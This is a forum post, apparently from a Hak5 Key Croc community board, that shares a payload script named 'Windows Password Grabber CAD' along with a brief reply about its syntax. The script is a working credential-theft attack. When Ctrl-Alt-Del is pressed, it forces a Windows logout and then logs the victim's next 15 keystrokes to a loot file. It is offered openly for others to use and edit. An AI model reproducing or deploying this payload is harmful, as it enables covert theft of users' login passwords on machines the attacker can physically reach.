[PAYLOAD] Windows Password Grabber CAD

[RootJunky]

Windows Password Grabber CAD

 

This is a simple payload used to logout ones control alt delete is pressed on a windows PC, then it will capture the next 15 buttons pressed.  You can edit the script to your liking. The 15 buttons saved will be stored in your loot folder. 

# Title:         Windows Password Grabber
# Description:   When Control Alt Delete is pressed it will long out the current user and request a password that will be captured and stored in loot. 
# Author:        RootJunky
# Version:       1.0
# Category:      Credentials 
#
#
MATCH \[CONTROL-ALT-DELETE\]
LED ATTACK STAGE1
QUACK STRING "GUI l" 
SAVEKEYS /root/loot/password.log NEXT 15
QUACK DELAY 1000
LED OFF

https://github.com/rootjunky/keycroc-payloads/blob/master/library/examples/windows-password-grabber-ctrl-alt-delete.txt

 

[Darren Kitchen]

What's up with the QUACK STRING "GUI l" part? 

[RootJunky]

For some reason QUACK GUI L wasn't working on my machine once control alt delete was matched but QUACK STRING  GUI l works.